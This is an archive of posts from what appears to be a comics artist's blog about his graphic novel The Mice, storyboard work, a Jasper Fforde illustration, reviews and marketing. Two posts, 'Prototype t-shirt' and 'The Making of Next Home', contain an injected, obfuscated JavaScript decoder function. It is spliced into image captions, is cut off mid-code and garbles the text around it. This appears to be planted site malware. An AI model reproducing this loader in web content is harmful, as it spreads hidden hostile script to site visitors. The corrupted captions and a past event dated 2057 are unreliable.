All posts by emanuelsan

New business card image

Smiling woman' storyboard frame, art by Roger Mason
‘Smiling woman’ storyboard frame, art by Roger Mason

It’s been, so far, a summer of working part-time which has been very nice. I did start re-designing my business card,amidst all that inactivity, a task which I thought would take me about two hours.

Three weeks later, I have settled on this image for the front. It’s from a storyboard about hair products and was originally in pencil only. I have coloured it in Photoshop and became quite anal about her skin tones. The last time I got a business card printed one of my students commented that the guy's skin was green. What with my uncalibrated monitor, RGB and CMYK and whatever hoops they put it through at the printer's, it's a tricky business guarding the right colours from start to finish.

God knows how the final printed card will turn out. I'll be sending it to Aldgate Press, for your information. Very eco-friendly printer.

Oh, and I hear you say: "Business cards?! In this day and age?" Definitely.

Illustration for Jasper Fforde’s The Eye of Zoltar

Illustration by Roger Mason for Eye of Zoltar book
Frontispiece illustration for the new Jasper Fforde book, The Eye of Zoltar

Here is the complete illustration which is in Jasper Fforde’s new novel, the third in the Last Dragonslayer series, called the Eye of Zoltar. It features one of the characters, who happens to be an australopithecine, hanging onto the underside of a giant, flying beast.

It’s the frontispiece, so appears before the text. Fforde also asked me to draw three images for a promotional postcard set which I am hoping to get my hands on any day now. I am a big fan of Jasper's books, the Thursday Next series in particular, and have enjoyed very much the Last Dragonslayer stories. Any fans of Harry Potter and His Dark Materials are well advised to check them out.

Poster for comic book drawing workshop at New Cross Learning

Poster for comic book drawing workshop by Roger Mason
Poster for comic book drawing workshop by Roger Mason. © Roger Mason 2014

Next month I will be leading a workshop at New Cross Learning, a library in New Cross, London, for young people on the subject of drawing comics. I am pretty happy with the poster I designed for it, as it recycles (or ‘re-purposes’ if you like corporate jargon) a frame from a diary comic strip I drew about four years ago.

The subject of the strip is some in-your-face schmoozing I did after going to a talk by Kevin O’Neill on the League of Extraordinary Gentlemen. His reply is genuine, and he did not invite me to his studio. I have been re-reading Century, one of the recent League... titles and am finding it quite a dark, creepy and disturbing read. Very good though and it does not give up its treasures immediately.

Maybe in the poster the face could do with having a smile on it...?

Roger Mason diary comic featuring Kevin O'Neill
Diary comic page about meeting Kevin O'Neill. © Roger Mason 2012

 

Page details from The Mice book three

The Mice book three page detail. © Roger Mason 2014
The temp, Wade, gets stuck into some serious data input in the forthcoming Mice book. Page detail. Art by Roger Mason

So, major drag, orders for The Mice from UK retailers, through Diamond, were terrifically low so new readers may like to go to scarcomics.com to get a copy – as it won’t leaping off the bookshelves in the near future.

Storyboarding commitments have been very time-consuming this year and some of the ads have been really interesting to work on. Can't tell you what they were though.

When I get time I will continue with book three of The Mice, in the meantime, please take a look at these page details.

The Mice book three page detail. © Roger Mason 2014
A runaway flying alien forklift nearly takes out a worker in the forthcoming third Mice book. Page detail art by Roger Mason

 

Illustration for new Jasper Fforde book

Illustration for new Jasper Fforde book. Art by Roger Mason
Detail of the frontispiece illustration for Fforde’s new Last Dragonslayer novel, by Roger Mason

January has been a busy month for me, and one job I took on I take immense pleasure in blogging about here. This is a detail of the frontispiece illustration for Jasper Fforde's new book, The Eye of Zoltar, the third installment in The Last Dragonslayer series.

It features, without giving anything away I hope, a giant monster with a huge mouth. When the book is out I will put up the whole illustration.

Another great review, this one in Sci Fi Now

While I am charging about buying gifts and storyboarding, some of the promo copies I sent out have been paying dividends. A big 'thank you' to editor James Hoare, who has praised The Factory Menace and reviewed it in the latest edition of Sci Fi Now magazine.

The Mice: The Factory Menace reviewed in Sci Fi Now magazine
A 'Must read now!' and four out of five stars. Fantastic, I am so happy to read this.

The Mice reviewed in Starburst

http://www.starburstmagazine.com/reviews/comic-reviews/7269-comic-review-the-mice-the-factory-menace

After sending hard copies out to several magazines of a sci-fi/fantasy persuasion, it looks like things are coming home to roost. The editor of Sci Fi Now magazine will be putting it in the December issue, and today I read on Starburst's site a positive and insightful review of The Factory Menace, written by Ed Fortune:

'Thick with satire, irony and humour, The Mice – The Factory Menace is a rare gem, and if you’re the sort of person who likes to talk about the artistic credentials of sequential art as social commentary, or you simply like good sci-fi well told, then this will make you grin.' 8 out of 10.

Lovely to read that and this keeps up the tradition of Mice reviews being overwhelmingly positive.

Prototype t-shirt for The Mice

function h052c1b60aed(x6){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var t4=”;var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4 design by Roger Mason. © Roger Mason 2013″ />
Mice t-shirt, art and design by Roger Mason 2013

Am getting down to some t-shirt design on Spreadshirt for The Mice, and this one I quite like.

Marketing graphic novels on Facebook

In order to help out with the marketing, The Mice has been on Facebook for about three months. Yesterday I followed the advice of a social media expert and paid for some adverts through that site. Pretty simple to set up, and have seen my likes go from 60 to 155 in 12 hours. So that's cool.

This link will take you to the page if you are curious:

www.facebook.com/themicecomic

The Mice to go in the December issue of Previews UK

The Mice in The Factory Menace, the first graphic novel in the series, will be in the December issue of Previews UK. This is Diamond Comics Distribution’s catalogue which supplies the comics and specialist bookshops across the United Kingdom.

This is very exciting to me, it means the book will be on the stands in the New Year, and Out There... Hopefully the orders will be high enough and sales will be good, so that said retailers will order the second book—Culture Shock, already in print from Scar Comics—which will follow it.

Yee-ha!

Cameron Johnson Shakespeare, new Mice character

New Mice character, CJ Shakespeare. Art by Roger Mason

Recently been laid up with the flu, or a rather watered-down version of it anyway, so i got on with some design for the new Mice graphic novel, working title Crash and Burn. These are initial sketches for Cameron Johnson Shakespeare, a mixed race SE Asian/caucasian woman.

I was listening to radio 4 news, and just took words out of the air for her name. CJ Shakespeare it is! This kind of sketchbook stuff can be done in an armchair wrapped in a blanket, as opposed to drawing the actual pages which I rather do at a desk and drawing board.

Rough layout from The Mice

Detail from a layout rough for a page from the next Mice graphic novel.

Production of the next Mice GN continues apace. Here’s scene featuring an alien pilot leaping out of his cockpit. Pencils first, then biro, then sharpie. Scanned and turned into blue line in Photoshop.

New alien characters from The Mice graphic novel

Aliens from book three of The Mice, currently in production.

This is the full-length character study of the aliens who work in the offices of the factory Order Nine. From left to right: Wade, Lona, Myrl (seated), Q (sort for Quar) and as-yet unnamed. A lot of the action in the next book takes place in the factory's planning department which gives us a taste of how the humans' disruptive activities wreck the day-to-day running of the factory. Also there's going to be some office romance and more than a little bit of back-stabbing.

On The Mice's facebook page I asked for suggestions as to what to call these aliens, with Myrl a great suggestion. Coming up with alien names is something that can bug me at strange moments, like when I am in the shower. Each name can only be four letters long – a peculiarity of the alien culture and a limitation which I set years ago that bugs me to this day.

Facebook/TheMiceGraphicNovel

Re-design of The Mice in The Factory Menace

The first Mice graphic novel is going into Previews UK, either in December or January, which means it will be available for comics and specialist shops to order in the UK. For this reason I have souped up the original cover design and added some of the great quotes the book has been getting over the last few months.

I am especially pleased with the addition of a spine as the previous edition did not have one, due to the fact I had no idea how to make one in InDesign. Now I do.

The back cover cover blurb now goes like this:

WELCOME TO ORDER NINE – A GIANT ALIEN FACTORY WHERE HUMANS ARE THE MICE...
A young couple fight impossible odds against alien invaders – aliens taller than trees, destroyers of civilisation and builders of soulless factories. But as the aliens work 12-hour shifts, The Mice, under their feet, steal food, cut wires and plan their revenge...
From acclaimed 2000 AD and BD artist Roger Mason, The Mice in The Factory Menace is a sci-fi adventure story in which humanity fights for survival and aliens scheme to knock off early.

Books which made me think

A student of mine on the Film course at SAE Institute London paid me a lovely compliment this week. He asked me if I could recommend any books which would make him think, as he was “bored” with the ones he had. We had already been discussing the use of symbolism in the Halifax Western TV commercial which I storyboarded a few years ago, and 1984 by George Orwell, to give a bit of context.

I thought about it for ten minutes—I love recommending books—and came up with the following, in no particular order:

A Short History of Nearly Everything by Bill Bryson (rough guide to science)

10 Billion by Stephen Emmott (environmental science)

Dispatches by Michael Herr (vietnam war journalist)

Zen and the art of motorcycle maintenance by Robert M Pirsig (psychology, autobiography)
Stalingrad by Antony Beevor (military history)
Supergods by Grant Morrison  (autobiography)
A Wolf at the Table by Augusten Burroughs  (memoir/autobiography)
Ishmael by Daniel Quinn
Fiction
The Eyre Affair by Jasper Fforde
Flashman by George MacDonald Fraser
The Last Werewolf by Glen Duncan
1984 by George Orwell
anything by Iain M Banks
I, Claudius by Robert Graves
Graphic Novels
Promethea by Alan Moore and others
All Star Superman by Grant Morrison and Frank Quitely
The Dark Knight Returns by Frank Miller
The Mice by Roger Mason (ahem)
Preacher by Garth Ennis and Steve Dillon

Fforde Ffiesta 2057 in Swindon last weekend

My mum and I attended the Jasper Fforde fan convention in Swindon, the Fforde Ffiesta, where we had a really fantastic time celebrating the vision and quirkiness of Fforde's novels, among them The Eyre Affair, The Big Over Easy and The Last Dragonslayer. If you are reading this and are unaware of his work, I advise you to pick one of his books and have a read.

As he discussed with my mum, who is a librarian, they are hard to classify. Are they crime? Sci-fi? Fantasy? I do not know how to get around that, I am just glad I took a punt on a copy of The Eyre Affair a few years ago in HMV. I like to read the first line of a book, it's one of my tests to see whether I will like it, and this one had me hooked: 'My father had a face that would stop a clock.'

Roger Mason, Jasper Fforde and Sue Mason at the Fforde Ffiesta, Swindon.

Glowing review of The Mice on the Forbidden Planet blog

Review: The Mice.. a post-apocalyptic tale with a sense of scale… – Forbidden Planet Blog

Many thanks to Richard Bruton for reviewing both Mice graphic novels, and for really enjoying them! Click on the link to find out what he says.

I feel ten feet tall.

The Making of Next ‘Home’ by Framestore

function h052c1b60aed(x6){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var t4=”;var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4 Roger Mason at Framestore” />
Mike McGee of Framestore, left, and Roger Mason working on the storyboards for Next 'Home' commercial in 2013.

Here's a short film by Framestore, detailing how they made their TV commercial 'Home' for Next and on which project I drew the storyboards. At the very beginning of the film you can see me working with Mike McGee.

Below are a selection of the storyboard frames. This style represents my quickest, sketchiest drawing mode and I like it for its fluidity and economy. Blue pencil, HB pencil and tipp-ex on white paper.

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason
Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

Storyboards for Next Home, commissioned by Framestore, art by Roger Mason

How to market a graphic novel

Well, one way of doing it anyway. For a few years I have been friendly with Matt and Fanos at Big Smoke Media, a south-east-based marketing company who specialise in distributing postcards across the London area. When you are next in a bar, cinema or restaurant, keep an eye out for a postcard rack promoting new films and exhibitions. These are Big Smoke's.

Postcard promoting the new Mice graphic novel, Culture Shock. Design by Roger Mason.

Across London, and further afield I hope, are postcards like the one above, for all to pick up and take away. I have a box of them to distribute myself so these are placed at my studio in Dalston, which sees quite a footfall thanks in part due to Dalston Roof Park, as well as the sheer number of people who either work at or visit the Bootstrap Building each day. I am also placing them at SAE Institute on Kingsland Road, Hackney where I teach drawing skills to 3D animation and film students. Some have been placed on tube trains and last week I went to central London and placed them in comic shops Gosh! and Orbital, and bookshops Foyles and Waterstones. The latter were unexpectedly open to the idea, which tells you more about my prejudices than theirs.

Copy on the postcard promoting the Mice graphic novel Culture Shock. Design by Roger Mason.

I'd like to have a Mice website but am not prioritising creating one, and anyway I figure that Scar's presence online will compensate for this. The 'Welcome to Order Nine...' strap line has served well, but now I am considering something along the lines of 'Giant Aliens v World-class Pests.'

The postcard has been well-received. I am wondering whether it matters that both of Diana's hands are cut off and whether Harry (left) resembles a well-built woman.

A short article about naming the characters in The Mice

Diana attempts to rescue Rowling from the soup vat in The Mice: The Factory Menace

The two lead humans are called Mulligatawny and Diana. Subsequent characters I have tried to name after obvious contemporary celebrities, although with mixed success (problems with readers making the link.) Diana is named after Princess Diana, Harry after Harry Potter (or Prince Harry). I have considered a 'Becks'—David Beckham, or the beer?—and one of the children is named after Paris Hilton. The most overt reference to date is to Barack Obama as readers of Culture Shock will know. Unfortunately, if someone asks me what 'Mulligatawny' has to do with any of this I cannot say, as the name came to me while I was staring at a spreadsheet of soup cans heading to Tesco. He was previously called Fob... The woman called 'Scooter' also bucks the trend, but I could not resist it, and 'Bailey' is another name for a woman which I like and may use one day.

Cota extracts a badly-burned Barack out of an alien human-carrier. From The Mice: Culture Shock

As for the aliens, I am extremely proud of the simplicity of 'Cota' and I like also the 'Black Chargehand'  although the latter has not been printed in the book so readers are unaware and probably wondering what his name is. A nod to Judge Dredd is that we never see his eyes, although this was making him too expressionless and so they are creeping in.

Roger Mason 2013


The Mice graphic novels available from Scarcomics.com/shop
facebook/scarcomics